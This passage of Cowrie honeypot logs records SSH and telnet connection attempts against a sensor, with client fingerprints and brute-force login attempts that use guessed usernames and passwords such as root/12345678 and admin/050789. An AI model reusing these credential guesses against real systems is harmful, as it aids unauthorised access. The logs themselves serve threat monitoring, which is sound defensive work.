f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:25:56.199301Z","src_ip":"20.6.35.235","session":"a16a1df4f310","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"115.211.146.230","src_port":36344,"dst_ip":"159.203.135.109","dst_port":23,"session":"a83ec348276b","protocol":"telnet","message":"New connection: 115.211.146.230:36344 (159.203.135.109:23) [session: a83ec348276b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:26:00.221916Z"}
{"eventid":"cowrie.session.connect","src_ip":"94.159.98.239","src_port":48946,"dst_ip":"10.17.0.5","dst_port":22,"session":"063ea862f0e1","protocol":"ssh","message":"New connection: 94.159.98.239:48946 (10.17.0.5:22) [session: 063ea862f0e1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:26:01.749874Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:26:01.791154Z","src_ip":"94.159.98.239","session":"063ea862f0e1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:26:01.896254Z","src_ip":"94.159.98.239","session":"063ea862f0e1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"23071991","message":"login attempt [root/23071991] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:26:02.391742Z","src_ip":"94.159.98.239","session":"063ea862f0e1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"Aa123456!","message":"login attempt [ubuntu/Aa123456!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:26:03.538128Z","src_ip":"20.6.35.235","session":"a16a1df4f310","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:26:03.560346Z","src_ip":"94.159.98.239","session":"063ea862f0e1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"9.1","message":"Connection lost after 9.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:26:04.779205Z","src_ip":"20.6.35.235","session":"a16a1df4f310","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.112","src_port":13238,"dst_ip":"10.17.0.5","dst_port":22,"session":"dd6de1b7bc3a","protocol":"ssh","message":"New connection: 2.57.121.112:13238 (10.17.0.5:22) [session: dd6de1b7bc3a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:26:12.373886Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.83","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.83","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:26:12.378715Z","src_ip":"2.57.121.112","session":"dd6de1b7bc3a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:26:12.484079Z","src_ip":"2.57.121.112","session":"dd6de1b7bc3a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":12.2839515209198,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:26:12.505761Z","src_ip":"115.211.146.230","session":"a83ec348276b","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"admin","password":"050789","message":"login attempt [admin/050789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:26:12.978683Z","src_ip":"2.57.121.112","session":"dd6de1b7bc3a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"050685","message":"login attempt [admin/050685] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:26:14.088766Z","src_ip":"2.57.121.112","session":"dd6de1b7bc3a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"050676","message":"login attempt [admin/050676] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:26:15.198230Z","src_ip":"2.57.121.112","session":"dd6de1b7bc3a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"05061972","message":"login attempt [admin/05061972] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:26:16.307337Z","src_ip":"2.57.121.112","session":"dd6de1b7bc3a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"050595","message":"login attempt [admin/050595] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:26:17.416802Z","src_ip":"2.57.121.112","session":"dd6de1b7bc3a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.2","message":"Connection lost after 6.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:26:18.529350Z","src_ip":"2.57.121.112","session":"dd6de1b7bc3a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"146.70.245.157","src_port":25460,"dst_ip":"159.203.135.109","dst_port":22,"session":"8a4ce26eed7b","protocol":"ssh","message":"New connection: 146.70.245.157:25460 (159.203.135.109:22) [session: 8a4ce26eed7b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:26:22.562398Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:26:22.567597Z","src_ip":"146.70.245.157","session":"8a4ce26eed7b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:26:22.706133Z","src_ip":"146.70.245.157","session":"8a4ce26eed7b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"fjbdfdjkdsfs541544AA@@","message":"login attempt [ubuntu/fjbdfdjkdsfs541544AA@@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:26:23.239023Z","src_ip":"146.70.245.157","session":"8a4ce26eed7b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:26:24.380843Z","src_ip":"146.70.245.157","session":"8a4ce26eed7b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"23.97.62.150","src_port":51272,"dst_ip":"159.203.135.109","dst_port":22,"session":"59336089e411","protocol":"ssh","message":"New connection: 23.97.62.150:51272 (159.203.135.109:22) [session: 59336089e411]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:26:28.221914Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:26:28.227031Z","src_ip":"23.97.62.150","session":"59336089e411","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:26:28.515219Z","src_ip":"23.97.62.150","session":"59336089e411","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"51.250.105.222","src_port":39072,"dst_ip":"159.203.135.109","dst_port":22,"session":"7e29f77ef872","protocol":"ssh","message":"New connection: 51.250.105.222:39072 (159.203.135.109:22) [session: 7e29f77ef872]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:26:28.982748Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:26:28.987556Z","src_ip":"51.250.105.222","session":"7e29f77ef872","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:26:29.117055Z","src_ip":"51.250.105.222","session":"7e29f77ef872","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"12345678","message":"login attempt [root/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:26:29.231149Z","src_ip":"23.97.62.150","session":"59336089e411","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Forten1883","message":"login attempt [root/Forten1883] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:26:29.510023Z","src_ip":"51.250.105.222","session":"7e29f77ef872","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:26:30.471899Z","src_ip":"23.97.62.150","session":"59336089e411","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:26:30.676648Z","src_ip":"51.250.105.222","session":"7e29f77ef872","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.193.141.133","src_port":16048,"dst_ip":"159.203.135.109","dst_port":22,"session":"67ac622d243d","protocol":"ssh","message":"New connection: 20.193.141.133:16048 (159.203.135.109:22) [session: 67ac622d243d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:26:35.809599Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:26:35.814506Z","src_ip":"20.193.141.133","session":"67ac622d243d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:26:36.015673Z","src_ip":"20.193.141.133","session":"67ac622d243d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123qwe...","message":"login attempt [root/123qwe...] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:26:36.851795Z","src_ip":"20.193.141.133","session":"67ac622d243d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:26:38.056115Z","src_ip":"20.193.141.133","session":"67ac622d243d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"223.197.186.7","src_port":52937,"dst_ip":"159.203.135.109","dst_port":22,"session":"5b002b478351","protocol":"ssh","message":"New connection: 223.197.186.7:52937 (159.203.135.109:22) [session: 5b002b478351]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:26:40.785554Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:26:40.791067Z","src_ip":"223.197.186.7","session":"5b002b478351","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:26:41.124222Z","src_ip":"223.197.186.7","session":"5b002b478351","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"zenith","password":"zenith","message":"login attempt [zenith/zenith] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:26:42.043548Z","src_ip":"223.197.186.7","session":"5b002b478351","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:26:43.260725Z","src_ip":"223.197.186.7","session":"5b002b478351","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"171.244.37.103","src_port":33418,"dst_ip":"159.203.135.109","dst_port":22,"session":"4d2b31ab3d00","protocol":"ssh","message":"New connection: 171.244.37.103:33418 (159.203.135.109:22) [session: 4d2b31ab3d00]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:26:55.473635Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:26:55.478327Z","src_ip":"171.244.37.103","session":"4d2b31ab3d00","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 